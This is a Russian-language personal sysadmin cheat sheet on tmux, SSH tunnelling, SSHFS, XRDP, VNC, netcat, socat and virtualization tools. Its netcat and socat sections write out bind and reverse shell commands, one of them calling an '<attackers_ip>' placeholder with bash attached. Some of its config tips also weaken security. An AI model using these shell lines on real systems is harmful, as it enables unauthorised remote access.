В одном окошке может быть много панелей:
Ctrl+b % — разделить текущую панель на две, по вертикали;
Ctrl+b " — разделить текущую панель на две, по горизонтали (это кавычка, которая около Enter, а не Shift+2);
Ctrl+b →←↑↓ — переходить между панелями;
Ctrl+b x — закрыть панель (а можно просто набрать exit в терминале).

Недостаток — непривычным становится скроллинг:
Ctrl+b PgUp — вход в «режим копирования», после чего:
PgUp, PgDown — скроллинг;
q — выход из «режима копирования».

работа с tmux
Старт
# tmux //без параметров будет создана сессия 0
# tmux new -s session1 //новая сессия session1. Название отображается снизу-слева в квадратных скобках в статус строке. Далее идет перечисление окон. Текущее окно помечается звездочкой.

Префикс (с него начинаются команды)
<C-b> (CTRL + b)

Новое окно (нажать CTRL+b, затем нажать с)
<C-b c>

Список окон
<C-b w> // переключиться курсором вверх-вниз

Переключение
<C-b n> // следующее окно
<C-b p> // предыдущее окно
<C-b 0> // переключиться на номер окна

Окна можно делить на панели (Panes)
Как в тайловых (мозаичных) оконных менеджерах.

Деление окна горизонтально
<C-b ">
либо команда
# tmux split-window -h

Деление окна вертикально
<C-b %>
либо команда
# tmux split-window -v

Переход между панелей
<C-b стрелки курсора> // либо режим мыши

Изменение размеров панелей
<C-b c-стрелки> // либо режим мыши

Закрытие окон
<C-b x> // нужно подтвердить y
либо
# exit

Отключение от сессии
<C-b d>
либо
# tmux detach

Список сессий
# tmux ls

Подключиться к работающей сессии
# tmux attach //подключение к сессии, либо к единственной, либо последней созданной
# tmux attach -t session1 // подключение к сессии session1

Выбрать сессию
<C-b s>

Завершение сессии
# tmux kill-session -t session1

Завершить все сессии
# tmux kill-server

Список поддерживаемых комманд
# tmux list-commands

Дополнительная информация
# man tmux

Магия ssh
Доступ к ssh серверу через очень зарегулированное подключение
Shellinabox — если вдруг заблокируют SSH
https://github.com/sshuttle/sshuttle
https://www.stunnel.org/config_unix.html
https://github.com/erebe/wstunnel
https://github.com/tsl0922/ttyd
https://github.com/stuicey/SSHy
https://xtermjs.org/

Использование утилиты tar по сети через SSH

SSLH
http://rutschle.net/pipermail/sslh/
Краткий экскурс в sslh
SSLH - МУЛЬТИПЛЕКСОР SSL / SSH
Мультиплексирование ssl/ssh соединений через один 443 порт
SSLH: Прячем SSH/HTTPS/OpenVPN/Telegram за единым портом 443
SSLH: Запускаем SSH, OpenVPN, HTTPS, Socks5 и MTProto-proxy на 443 порту

ssh VPN
VPN через SSH

https://www.stunnel.org/
Stunnel на сервере и клиенте

Shellinabox — если вдруг заблокируют SSH
SSH через Xray

Превращаем любой SSH-сервер в полноценный VPN с помощью утилиты sshuttle
sshuttle --dns -r user@ip_сервера_или_доменное_имя 0.0.0.0/0

https://github.com/sshuttle/sshuttle
https://sshuttle.readthedocs.io/en/stable/

pip install sshuttle

создаем скрипт с именем типа vpn.sh:



Здесь eax и 11.22.33.44 нужно заменить на имя пользователя и IP-адрес вашего сервера.

Далее говорим:
chmod u+x ./vpn.sh
sudo ./vpn.sh

… и ждем появления строчки:
client: Connected.

Проверяем, что все работает:
curl https://eax.me/ip/

В ответ должен прийти IP-адрес использованного SSH-сервера. Также проверяем, что используется DNS-сервер, указанный в переменной $DNS:
dig eax.me

В ответ должно прийти что-то вроде:
...
;; Query time: 20 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)

… где 8.8.8.8 — это выбранный нами DNS-сервер. В данном случае это сервер компании Google.

Напоследок вот вам несколько занимательных фактов о sshuttle:

Чтобы все работало, на сервере не требуются ни root, ни sudo;
Утилита не ломается, если попытаться сделать VPN внутри VPN;
Также вы можете использовать ее совместно с OpenVPN или каким-нибудь Tor;


SSHFS
https://wiki.archlinux.org/title/SSHFS_(Русский)
https://sysadminium.ru/mount-sshfs/
Монтирование удаленной директории с помощью sshfs. Часть 2 из 2
Подключение и настройка SSHFS в Linux
Как настроить SSH вход без пароля

sudo apt install sshfs fuse

Чтобы получить возможность монтировать от имени обычного пользователя необходимо создать группу fuse:
sudo groupadd fuse
sudo usermod -aG fuse $USER
либо sudo vim /etc/fuse.conf
user_allow_other
тогда монтирование будет с опцией sshfs -o allow_other

Аутентификация по ключу
ssh-keygen -t rsa -b 4096 -C "your_email@domain.com"
ssh-copy-ide [remote_username]@[server_ip_address]
Открытый ключ автоматически копируется в файл .ssh/authorized_keys

sshfs [remote_username]@[server_ip_address]:/patch /mnt/stor/
sshfs -o ssh_command='ssh -q -o BatchMode=yes -o StrictHostKeyChecking=no' server_ip_address:/patch /mnt/stor/

Если по каким-то причинам нельзя настроить аутентификацию по ключу, можно использовать утилиту sshpass. Опция -f для утилиты sshpass говорит о том, что пароль доступа к серверу сохранен в файле ~/server.pass
sshfs -f -o allow_other developer@123.123.123.123:/var/www/ /home/evgeniy/var-www/

отмонтировать
fusermount -u /opt/repo

vim /etc/fstab
USERNAME@HOSTNAME_OR_IP:/REMOTE/DIRECTORY /LOCAL/MOUNTPOINT fuse.sshfs defaults,_netdev 0 0



установка XRDP, VNC и SSH на Ubuntu и Debian 2

XRDP

usermod -aG audio,video пользователь

sudo apt install xrdp
sudo dpkg-reconfigure xserver-xorg-legacy

Xrdp настройка Xfce sevo44-1



выбираем "кто угодно"

sudo mv /etc/xrdp/startwm.sh /etc/xrdp/startwm.sh.BACKUP
sudo nano /etc/xrdp/startwm.sh




Важно! Обратите внимание на тот факт, что в конце файла необходимо добавить пустую строку.

sudo chmod +x /etc/xrdp/startwm.sh

hwinfo |grep XkbModel

sudo mv /etc/xrdp/xrdp_keyboard.ini /etc/xrdp/xrdp_keyboard.ini.BACKUP
sudo nano /etc/xrdp/xrdp_keyboard.ini




echo xterm > ~/.xsession # ( если этого файла нет домашнем каталоге)
sudo service xrdp restart

systemctl is-enabled xrdp # проверить есть ли в автозагрузке
systemctl disable xrdp # убрать из автозагрузки
systemctl enable xrdp # добавить в автозагрузку
systemctl start xrdp # запустить

rdesktop -z -P -g 1280x1024 127.0.0.1 -k en-us

если ошибки с локалью, то вбить export LANG=ru_RU.utf8

если возникает ошибка невозможно получить доступ к '/home/пользователь/thinclient_drives': Отказано в доступе
то sudo umount -f thinclient_drives
после этого вы должны переименовать thinclient_drives в .thinclient_drives

vi (m) /etc/xrdp/sesman.iniфайл.
В [Chansrv] добавить: FuseMountName=/tmp/%u/thinclient_drives
Выйдите из системы и войдите снова. Теперь thinclient_drives будут смонтированы /tmp/{uid}/thinclient_drives.
Можно rmdir thinclient_drives в своем хомедире.

ошибка при запуске с sudo или su
"Не удалось подключиться к: В соединении отказано Ошибка инициализации GTK."
вбить
xhost si:localuser:root
после
sudo программа
или что безопасней
export XAUTHORITY=$HOME/.Xauthority
sudo программа

запуск графических приложений из snap

nano /etc/xrdp/sesman.ini
env | grep DBUS
sudo lshw -C display
xwininfo -tree -root
echo $DISPLAY

sudo lshw -C display
ps -ef | grep Xorg
pkexec env DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY программа
export PATH="/snap/bin/:$PATH"
Xvfb -ac :10 -screen 0 1280x1024x16 & export DISPLAY=:10

xhost +
xhost +local:
xhost +si:localuser:root
xhost +si:localuser:пользователь

ssh username@hostname -X
ssh username@hostname -Y
export DISPLAY='IP:0.0'
export DISPLAY="127.0.0.1:10.0"

запуск хрома
export PATH="/snap/bin/:$PATH"
echo $DISPLAY
xhost +si:localuser:пользователь
export DISPLAY=:10 && chromium &


https://sevo44.ru/xrdp-terminalnyj-server-linux/#Debian_9
https://hostiq.ua/wiki/install-rdp-server/#2_5
https://wiki.yola.ru/xrdp:xrdp

VPS на Linux с графическим интерфейсом: запускаем сервер RDP на Ubuntu 18.04
Удаленный доступ. Обобщил себе на память.
Ошибка cannot open display в Linux
Docker: запуск графических приложений в контейнерах

FreeBSD 12 xrdp
FreeBSD + xRDP + WINE или Терминальный сервер для 1С в AD
xrdp_keyboard.ini



В пользовательской директории создаем файл .startwm.sh с таким содержимым:



Добавляем в /etc/rc.conf

xrdp_enable="YES"
xrdp_sesman_enable="YES"

И запускаем, service xrdp allstart, которая запустит ещё и сервис xrdp_sessman.

freerdp-shadow
Как установить и запустить RDP сервер в Linux
sudo apt install freerdp2-shadow-x11 winpr-utils

Чтобы запустить RDP сервер вовсе без аутентификации используйте опцию -auth:
freerdp-shadow-cli -auth

Если аутентификация включена, PAM используется с подсистемой X11
чтобы запустить freerdp-shadow с поддержкой NLA необходимо создать файл, в котором будет строка вида:
ПОЛЬЗОВАТЕЛЬ:::ХЕШ:::
Имя пользователя Linux нам известно, для вычисления хеша нужно выполнить команду вида:
winpr-hash -u ПОЛЬЗОВАТЕЛЬ -p ПАРОЛЬ

К примеру, имя пользователя mial, а пароль цифра 2 тогда команда следующая:
winpr-hash -u mial -p 2

Получен хеш:
8f33e2ebe5960b8738d98a80363786b0

Создаём текстовый файл SAM и в него записываем строку
mial:::8f33e2ebe5960b8738d98a80363786b0:::

Теперь запускаем freerdp-shadow-x11 с двумя опциями:
/sam-file:ФАЙЛ — указывает на расположение NTLM SAM файла для NLA аутентификации
/sec:nla — принудительное включение аутентификации по протоколу NLA

Итак, моя команда следующая:
freerdp-shadow-cli /sam-file:SAM /sec:nla

Для того, чтобы делиться не всем экраном, а только его частью, используйте опцию /rect:x,y,w,h. Где:

x,y — координаты верхнего левого угла прямоугольника
w — ширина прямоугольника
h — высота прямоугольника

К примеру, чтобы делиться частью экрана 500×500 пикселей с координатами 200,300:
freerdp-shadow-cli /sam-file:SAM /sec:nla /rect:200,300,500,500

Ошибка freerdp-shadow «client authentication failure: -1»
То необходимо создать файл SAM и запустить freerdp-shadow с опциями /sam-file:SAM /sec:nla как это показано выше.


Xnest Xephyr
https://wiki.archlinux.org/index.php/Xorg
https://www.sysadminwiki.ru/wiki/Удалённый_рабочий_стол_Linux
https://xneur.ru/settings
Удаленный доступ по XDMCP (удаленное подключение к рабочему столу) Ubuntu/Debian
Х из init 3
На третьем уровне инициализации/выполнения (init 3) выполнить:
X -query 10.0.0.111

Чтобы запустить вложенный сеанс другой среды рабочего стола:
$ /usr/bin/Xnest :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
$ Xephyr :1 -geometry 1024x768+0+0 -ac -name Windowmaker & wmaker -display :1
Это запустит сеанс Window Maker в окне 1024 на 768 в текущем сеансе X.
опция -ac позволяет удалённым клиентам подключаться к вашему X-серверу
$ Xephyr -query localhost -screen 800x600 :1 Если localhost – это XDMCP сервер, 800x600 – требуемое разрешение, а :1 – номер дисплея (можно использовать любой свободный номер)
в одном окне консоли вбить Xephyr :2
в другом xterm -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable &
DISPLAY=:2 fvwm1 &
Xephyr -terminate -query 192.168.1.116 :1 -screen 1280x1024
ssh andy@host.com -XYC “Xephyr :1 -query localhost –screen 800x600”
Xephyr :1 -query 192.168.0.111 -screen 800x600
Xephyr :2 -screen 1024x768+0+0 -resizeable & fluxbox -display :2
Xephyr :2 -geometry 1280x1024+0+0 -resizeable & fluxbox -display :2

XDMCP
Подключение к рабочему столу Linux Ubuntu с использованием XDMCP.
Настройка XDMCP, удаленного подключения к рабочему столу Linux

nano /etc/lightdm/lightdm.conf
Для разрешения TCP-подключений к графическому серверу X11, нужно в файл конфигурации lightdm.conf добавить строку :
xserver-allow-tcp=true

Для разрешения удаленных подключений к менеджеру дисплея нужно добавить секцию
[XDMCPServer]
enabled=true

service lightdm restart
netstat –na | more

XDMCP и принимает входящие подключения на UDP порт 177 (по умолчанию) , а графический сервер (сервер X11 ) – принимает входящие подключения на порт 6000/TCP

Xpra
https://xpra.org/index.html
https://github.com/Xpra-org/xpra
https://wiki.archlinux.org/title/Xpra
https://www.altlinux.org/Xpra
xpra - утилита удаленного запуска графических приложений
https://winswitch.org/downloads/
Учимся переносить запущенные программы с одного компьютера на другой

VNC
TigerVNC
https://docs.slackware.com/howtos:window_managers:vnc
Как настроить и использовать сервер TigerVNC в Linux
sudo apt install tigervnc-standalone-server tigervnc-viewer tigervnc-xorg-extension
vim ~/.vnc/xstartup



vncpasswd # создать пароль для TigerVNC сервера
запуск
vncserver :1 # запустить на 1 виртуальном столе
Пароль для аутентификации на сервере будет взят из файла $HOME/.vnc/passwd

vncserver -list # список запущенных рабочих столов с VNC
vncserver -kill :1 # убить сессию
vncconfig -display :1 -list # список опций VNC
ss -tulp # посмотреть порт запуска
vncviewer -listen 5901 # подключиться
gvncviewer ip_address:1 # адрес:дисплей

x11vns
рецепт 1
Подключаемся к удалённому рабочему столу по VNC на этапе экрана авторизации (GDM, KDM, Lightdm, MDM)

установим x11vnc:
sudo apt-get install x11vnc

Создадим файл с паролем для авторизации:
sudo x11vnc -storepasswd /etc/x11vnc.pass

vnc сервера используют 5900 порт
iptables -A INPUT -p tcp -m tcp --dport 5900 -j ACCEPT
ufw allow 5900

Запустим x11vnc:
sudo x11vnc -display :0 -rfbauth /etc/x11vnc.pass -rfbport 5900 -o /var/log/x11vnc.log

проверим:
vncviewer localhost

service x11vnc start

Быстрая настройка x11vnc
Устанавливаем x11vnc
sudo apt-get install x11vnc

Генерируем пароль для доступа:
x11vnc -storepasswd

При использовании LightDM
После установки x11vnc создайте файл /etc/init/x11vnc.conf, в который добавьте следующий код:



если не работает то
https://qastack.ru/ubuntu/229989/how-to-setup-x11vnc-to-access-with-graphical-login-screen

работающие скрипты:
скрипт гасится сам



нужно гасить pkill x11vnc



запускать как службу
mcedit /lib/systemd/system/x11vnc.service


systemctl daemon-reload
service x11vnc start
service x11vnc status
service x11vnc enable

рецепт 2 попроще, для ubuntu
https://www.crazy-logic.co.uk/projects/computing/how-to-install-x11vnc-vnc-server-as-a-service-on-ubuntu-20-04-for-remote-access-or-screen-sharing

sudo apt-get install lightdm
sudo reboot
sudo apt-get install x11vnc

vi /lib/systemd/system/x11vnc.service



systemctl daemon-reload
systemctl enable x11vnc.service
systemctl start x11vnc.service
systemctl status x11vnc.service


рецепт 3, без systemd
x11vnc -storepasswd "пароль" /etc/x11vnc.pass
sudo chmod ugo+r /etc/x11vnc.pass
sudo -u $USER x11vnc -noxdamage -shared -dontdisconnect -many -noxfixes -rfbauth /etc/x11vnc.pass -auth guess


Как настроить VNC сервер x11vnc

в NetBDS, OpenBSD и FreeBSD:
pkgin install x11vnc
startx -display :0 &
x11vnc -display :0

ошибки
когда light-locker блокирует экран, то видно чёрное окно и не войти
https://bugs.launchpad.net/ubuntu/+source/light-locker/+bug/1287171
https://www.linux.org.ru/forum/admin/12755272
https://www.linux.org.ru/forum/general/13664036/page1#comments
https://github.com/pekmop1024/x11vnc-light-locker/blob/master/usr/local/bin/x11vnc-wrapper

вместо light-locker установить xscreensaver


VNC в веб-браузере
Как получить доступ к удаленному рабочему столу VNC в веб-браузере
качается https://github.com/novnc/noVNC/archive/refs/tags/v1.2.0.tar.gz
в нём есть launch.sh
распаковывается tar -xavf v1.2.0.tar.gz
качается https://github.com/novnc/websockify/archive/refs/tags/v0.11.0.tar.gz в распакованную $HOME/noVNC-1.2.0/utils
распаковывается tar -xavf v1.2.0.tar.gz
переименовывается
mv websockify-0.11.0/ websockify
затем запускается
./utils/launch.sh --vnc 0.0.0.0:5900
распаковать можно куда угодно, например в /opt
открыть в браузере
http://ip_адрес_сервера:6080/vnc.html?host=dit-st-unstable&port=6080
нажать на шестерёнку "Настройки", "Дополнительно", "WebSocket", "Сервер:" - прописать ip_адрес_сервера


VPN
ssh VPN
VPN через SSH
https://www.stunnel.org/
Stunnel на сервере и клиенте

Shellinabox — если вдруг заблокируют SSH
SSH через Xray

Превращаем любой SSH-сервер в полноценный VPN с помощью утилиты sshuttle
sshuttle --dns -r user@ip_сервера_или_доменное_имя 0.0.0.0/0

https://github.com/sshuttle/sshuttle
https://sshuttle.readthedocs.io/en/stable/

pip install sshuttle

создаем скрипт с именем типа vpn.sh:



Здесь eax и 11.22.33.44 нужно заменить на имя пользователя и IP-адрес вашего сервера.

Далее говорим:
chmod u+x ./vpn.sh
sudo ./vpn.sh

… и ждем появления строчки:
client: Connected.

Проверяем, что все работает:
curl https://eax.me/ip/

В ответ должен прийти IP-адрес использованного SSH-сервера. Также проверяем, что используется DNS-сервер, указанный в переменной $DNS:
dig eax.me

В ответ должно прийти что-то вроде:
...
;; Query time: 20 msec
;; SERVER: 8.8.8.8#53(8.8.8.8)

… где 8.8.8.8 — это выбранный нами DNS-сервер. В данном случае это сервер компании Google.

Напоследок вот вам несколько занимательных фактов о sshuttle:

Чтобы все работало, на сервере не требуются ни root, ни sudo;
Утилита не ломается, если попытаться сделать VPN внутри VPN;
Также вы можете использовать ее совместно с OpenVPN или каким-нибудь Tor;

https://github.com/Nyr/openvpn-install
https://github.com/Nyr/wireguard-install
Свой VPN сервер на Wireguard с помощью Docker

OpenVPN
Бесплатный VPN сервер, клиент, и тд
vpn pptp openvpn centos7
настройка клиента openvpn
Генерация ключей OpenVPN

sudo service openvpn start
sudo service openvpn status
sudo service openvpn stop
sudo service openvpn status
ps aux | grep -v grep | grep openvpn

https://www.oracle.com/cloud/free/

Работа с сетевыми дисками
Работа с NFS
1. установите nfs-common
sudo apt install nfs-common
2. сделайте точку монтирования
mkdir -p /media/nfs-server
3.
подключите общий ресурс сервера к каталогу mount SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/ media/nfs-server
mount :/volume1/music /media/nfs-server
4. Просмотрите смонтированный каталог.
ls /media/nfs-server

Если вы хотите сделать этот ресурс постоянно смонтированным, вы можете добавить его в свой /etc/fstab, например
SERVER-IP-ADDRESS:/SERVER_SHARE_NAME/media/nfs-server nfs rw 0 0


проверка открытых портов
netstat -ltup; netstat -lntup; netstat -lntupc
ss -lntu; ss -lntup
nmap -n -Pn -sS -sU -p- localhost
lsof -i; lsof -i :80

netcat передача данных, тестирование соединений
Как использовать Netcat для тестирования соединений TCP и UDP
Как пользоваться netcat (nc), ncat
Обратная инженерия сетевого трафика
Полезные трюки при работе с netcat

Чат между узлами
На первом узле (192.168.1.100):
nc -lp 9000
На втором узле:
nc 192.168.1.100 9000

Реверс-шелл
nc -e /bin/bash -lp 4444
соединиться с удаленного узла:
nc 192.168.1.100 4444

веб-сервер для отображения html странички.
while true; do nc -lp 8888 < index.html; done


UDP передать данные
cat ФАЙЛ | ncat -u -C IP-АДРЕС ПОРТ
получить эти данные
ncat -u -l IP-АДРЕС ПОРТ

TCP передать данные
nc хост порт < filename
{ cat ФАЙЛ1 ФАЙЛ2 ФАЙЛ3 ФАЙЛ4; cat;} | ncat -C IP-АДРЕС ПОРТ
{ cat ФАЙЛ{1..4}; cat;} | ncat -C IP-АДРЕС ПОРТ
приём
nc -l порт > filename

копирование зашифрованного диска
https://habr.com/ru/articles/800455/
# Получатель
nc -l 4444 | pbzip2 -d | dd of=/dev/nvme0n1 obs=1M
# Отправитель
pv /dev/nvme0n1 | pbzip2 -9 | nc DESTIP 4444

Как сделать прокси на виртуальном хостинге
локальном компьютере, в одной консоли запускаем прокси:
ncat -vvv -l 34567 --proxy-type http
и в другой консоли запрос через этот прокси:
curl -s --proxy localhost:34567 'https://hackware.ru'


Socat
Сетевой pivoting: понятие, примеры, техники, инструменты

Шелл
Установка слушателя:
socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane

Подключение к слушателю:
socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Обратный шелл
Установка слушателя:
socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0

Подключение к машине атакующего
socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Размер терминала
По умолчанию размер терминала довольно мал, как вы можете заметить при запуске команды top или редактировании файлов в текстовом редакторе. Вы можете легко изменить это, используя команду stty -a, чтобы получить размер вашего обычного терминала:
stty -a
speed 38400 baud; rows 57; columns 211; line = 0;

Примените нужный размер к вашему терминалу socat:
stty rows 57 cols 211

ссылки
разница между DE и WM, а также работа в голых иксах
скриншоты в иксах и консоли, разрешение экрана в tty
Установка xrdp на CentOS 7

https://debian-handbook.info/browse/ru-RU/stable/sect.remote-login.html
Настройка сервера VNC и RDP совместно с LightDM
VNC в Linux: настройка сервера и клиента
Всё о RDP: от настройки до взлома
sshprank: массовая проверка учётных данных SSH и быстрый сбор SSH баннеров
https://wiki.x2go.org/doku.php
Организуем себе безопасное рабочее место на удаленной виртуалке при помощи x2go
Настройка Ubuntu Linux в качестве терминального сервера x2go
LTSP: Терминальный сервер на Linux
LTSP: Терминальный сервер на Linux
делаем vim удобным
рабочий стол в консоли
изменение времени файлов, удаление истории посещения и команд в linux



ознакомиться
с хабра
proxMox — если в одинокий разраб или небольшая конторка и вам нужно несколько виртуалочек с php/node.js + mysql/postgres

openCloud/openNebula — если вы контора побольше и у вы готовы уделить пару часов в день вашего админа для его обслуживания.

openStack — если у вас куда больше 20 серверов и 10-и админов и вы готовы взять себе еще столько же админов/разрабов чтобы они решали его проблемы либо купить услуги конторы что приготовит его для вас.


Общее
Настольная книга администратора Debian 12.2. Виртуализация

Foreman — менеджер процессов для ваших веб-приложений
https://ru.wikibooks.org/wiki/Puppet
Как стать кукловодом или Puppet для начинающих
Разбираем методы проксирования на основе HAProxy
Балансировка нагрузки с помощью HAProxy

Теория аппаратной виртуализации
Управление виртуальными машинами с помощью VirtualBox
Введение в систему управления виртуальными машинами Vagrant
Управление виртуальными машинами с помощью virsh
Управление виртуальными машинами с помощью virsh
Введение в систему управления виртуальными машинами docker-machine
https://www.bsdstore.ru/ru/about.html
Учебник Kubernetes
Использование средств автоматизации инфраструктуры на виртуальных машинах в Azure
CoreOS — Linux для минималистичных кластеров. Коротко
Разворачиваем Своё Облако в облаке. Установка CoreOS
Автоматическая установка с kickstart (uzverss установка dokuwiki centos php nginx)

Установка и настройка VMmanager 5 на Linux
------------------------------------------------------------------------
Пространства имён
Network namespace - виртуальный сетевой стек в linux
Примеры применения Linux network namespaces (netns)

работа с сетевыми интерфейсами
обзор пользовательских пространств имён Linux
user_namespaces

Глубокое погружение в Linux namespaces Часть 1
Глубокое погружение в Linux namespaces Часть 2
Глубокое погружение в Linux namespaces Часть 3
Глубокое погружение в Linux namespaces Часть 4

Методика безопасности, нейтрализующая угрозу эксплуатации уязвимости ядра linux
Для нейтрализации угрозы эксплуатации уязвимости ядра linux необходимо запретить непривилегированным пользователям создавать новые пространства имен пользователей, установив значение параметра ядра kernel.unprivileged_userns_clone равным "0". Чтобы проверить текущее значение параметра ядра необходимо выполнить команду:

sudo sysctl kernel.unprivileged_userns_clone
cat /proc/sys/kernel/unprivileged_userns_clone

Параметр ядра kernel.unprivileged_userns_clone может принимать следующие значения:
0 — в случае, когда непривилегированным пользователям запрещено создавать новые пространства имен пользователей;
1 — в случае, когда непривилегированным пользователям разрешено создавать новые пространства имен пользователей.
Для того чтобы временно (до перезагрузки системы) запретить непривилегированным пользователям создавать новые пространства имен пользователей, необходимо выполнить команду:

sudo sysctl -w kernel.unprivileged_userns_clone=0

Для того чтобы установленное значение параметра ядра сохранилось после перезагрузки, необходимо:

Добавить в файл /etc/sysctl.d/999-astra.conf следующую строку:

kernel.unprivileged_userns_clone = 0
Это можно сделать следующей командой:

echo "kernel.unprivileged_userns_clone = 0" | sudo tee -a /etc/sysctl.d/999-astra.conf
Перезагрузить параметры ядра, выполнив команду:

sudo sysctl --system

------------------------------------------------------------------------


средства конвертирования
virt-p2v
готовые образы virt-p2v для Virtuozzo virtual machine
VMware vCenter Converter Standalone
Disk2vhd

образы OS

всякие шероховатости
https://help.ubuntu.com/community/UEC/Images

CentOS 7 cloud kvm image password
https://access.redhat.com/discussions/664843

1) Переходим в /var/lib/libvirt/images/
2) sudo virt-sysprep -a Centos-7-x86_64-GenericCloud.qcow2 --root-password password:PASSW0RD --uninstall cloud-init
где PASSW0RD это пароль root
3) Создаем виртуальную машину на основе этого образа
4) Логинимся со своим паролем

либо
$ sudo apt install libguestfs-tools
# guestfish --rw -a ./CentOS-7-x86_64-GenericCloud.qcow2
><fs> run
><fs> list-filesystems
><fs> mount /dev/sda1 /
><fs> vi /etc/shadow

root:!!:17667:0:99999:7:::
удалить !! между ::
можно вставить сгенерированный пароль
# openssl passwd -1 changeme
$1$QiSwNHrs$uID6S6qOifSNZKzfXsmQG1

отмонтировать
><fs> umount /dev/sda1
выйти
><fs> quit


сброс пароля
http://www.oldnix.org/reset-password-root-linux/

не ставится docker на ubuntu 18.04
sudo vi /etc/apt/sources.list
deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic nightly


витруальный сетевой интерфейс
https://uzverss.livejournal.com/87945.html

запускается витруальный сетевой интерфейс

sudo virsh net-start default

который можно погасить командой

sudo virsh net-destroy default

посмотреть запущенный вирт.сетевые интерфейсы можно командой

sudo virsh net-list


сами настройки виртуального дефолтного сетевого интерфейса находится в файле
/etc/libvirt/qemu/networks/default.xml

и представляют собой запись



можно создать свой вирт. сетевой интерфейс, со своими настройками, напр:

sudo nano /etc/libvirt/qemu/networks/def1.xml



затем

sudo virsh net-create /etc/libvirt/qemu/networks/def1.xml




Vagrant
https://www.vagrantup.com/
http://help.ubuntu.ru/wiki/vagrant
Знакомимся с инструментом Vagrant
Что такое Vagrant
Начало работы с Vagrant и зачем он вообще нужен
Vagrant. Установка и первый запуск
Установка и использование Vagrant на Debian
Vagrant and Libvirt with KVM or QEMU
Vagrant для малышей, или как на Windows легко получить настроенный сервер для разработки веб-приложений
записки по Vagrant


Qemu-KVM Proxmox oVirt

XEN
https://updates.xcp-ng.org/isos/
http://help.ubuntu.ru/wiki/xen
https://wiki.archlinux.org/index.php/Xen_(Русский)
http://xgu.ru/wiki/Xen
Xen гипервизор
Xen server своими руками. Часть первая
Xen server своими руками. Часть вторая.
Портирование собственной ОС на Xen
Установка и настройка гипервизора Xen (монитора виртуальных машин) с пробросом видеокарты в гостевую ОС (Windows)
Миграция домашнего сервера с Hyper-V на Xen Project на Debian
PT Sandbox Установка ОС и гипервизора Xen на дополнительный узел


Ganeti
http://www.ganeti.org/
http://docs.ganeti.org/ganeti/current/html/install.html
https://dsa.debian.org/howto/install-ganeti/
Управление кластером Xen с помощью Ganeti на Debian Lenny


VMware

Hyper-V
Disk2vhd
Как превратить физический сервер в ВМ на платформе Hyper-V
Переносим Windows системы из физической в виртуальную среду
P2V конвертация физического контроллера домена на базе Windows Server 2012 R2 в виртуальную машину Hyper-V Generation 2
Hyper-V перенос виртуальной машины на другой диск
Экспорт и импорт виртуальной машины Hyper-V
Индекс производительности Windows (Windows Experience Index)

https://github.com/rust-vmm/mshv
https://github.com/hyperlight-dev/hyperlight
https://github.com/cloud-hypervisor/cloud-hypervisor

uzverss powershell команды управления виртуальными машинами

Не удается подключить удаленный рабочий стол к Hyper-V Server 2012 R2
http://it-student.com.ua/windows/tips/reshenie-hyper-v-server-2012-r2-ne-rabotaet-rdp.html

Иногда с чистой установки Hyper-V 2012 Server R2 возникает проблема с удаленным подключением. Проблема заключается в следующе - система установлена, подключения к RDP разрешены, но возникает ошибка при подключении к удаленному рабочему столу.

Проблема заключается в блокировке фаерволом подключений. Для того, чтобы разрешить удаленные подключения к вашему Hyper-V серверу выполните в cmd:

cmd
powershell
Enable-NetFirewallRule

После этого, подключение должно пройти. Если этого не случилось - явно разрешите подключения:

Enable-NetFirewallRule -Name "RemoteDesktop-UserMode-In-TCP"
Enable-NetFirewallRule -Name "RemoteDesktop-UserMode-In-UDP"



VirtualBox
https://www.virtualbox.org/
https://download.virtualbox.org/virtualbox/
Удаленный доступ к виртуальной машине virtualbox. Подключение к виртуальной машине
Как установить Windows 11 и Kali Linux на одну флешку
как залить образ с виртуалки на железо
https://github.com/alex5250/replace-tv-os
из .vdi мы сделаем .img образ
VBoxManage clonemedium --format RAW Debian.vdi debian.img
Гружусь с livecd, и сожму основной раздел до 10GB удаляю swap и создаю новый, перезагружаюсь lsblk -f узнаем новые UUID разделов правлю /etc/fstab, опять гружусь в livecd и корректирую размер образа
sudo truncate --size=$[(22978559+1)*512] 'debian.img'
затем подключаюсь к железке двумя флешками, загружаюсь с livecd, заливаю полученный .img с помощью dd




bhyve – The BSD Hypervisor
https://clonos.tekroutine.com/download.html
https://wiki.freebsd.org/bhyve
https://www.bsdstore.ru/ru/bhyve.html
https://www.bsdstore.ru/ru/bhyve_cbsd_howto.html
https://github.com/churchers/vm-bhyve
FreeBSD bhyve виртуализация
Bhyve virtual machines under vm-bhyve
Пчёлки в деле, или Запускаем Windows на BSD Hypervisor
MyBee — FreeBSD ОС и гипервизор bhyve как частное облако
https://myb.convectix.com/download/
https://www.bsdstore.ru/ru/about.html
Гипервизор на стероидах: FreeBSD + ZFS + cbsd


BOSH
http://bochs.sourceforge.net/
https://sourceforge.net/projects/bochs/files/bochs/


WebVM
https://github.com/leaningtech/webvm
https://leaningtech.com/webvm/
WebVM: виртуальные машины x86 без сервера в браузере


OpenNebula
OpenNebula
Строим свое собственное отказоустойчивое облако на базе OpenNebula с Ceph, MariaDB Galera Cluster и OpenvSwitch
Управление облаком на open-source софте
Колыбель облаков


ownСloud
http://help.ubuntu.ru/wiki/owncloud
OwnCloud client для Ubuntu 16.04
Установка owncloud Ubuntu 16.04
Свое облачное хранилище на основе ownCloud
Релиз ownCloud 9.0 — opensource альтернативы Dropbox и другим облачным хранилищам
Как установить OwnCloud на CentOS 7


OpenStack
Знакомство с OpenStack архитектура, функции, взаимодействия
OpenStack — разворачиваем «руками» Kilo
DevStack как инструмент
Боль и страдания Openstack


OpenVZ
https://mirrors.openvz.org/
Руководство по созданию и управлению контейнерами и виртуальными машинами на базе OpenVZ 7
https://www.altlinux.org/OpenVZ
Контейнерная виртуализация при помощи OpenVZ
Виртуализация с OpenVZ
Система виртуализации OpenVZ Часть 1.Введение
Система виртуализации OpenVZ Часть 2.Работаем с контейнерами
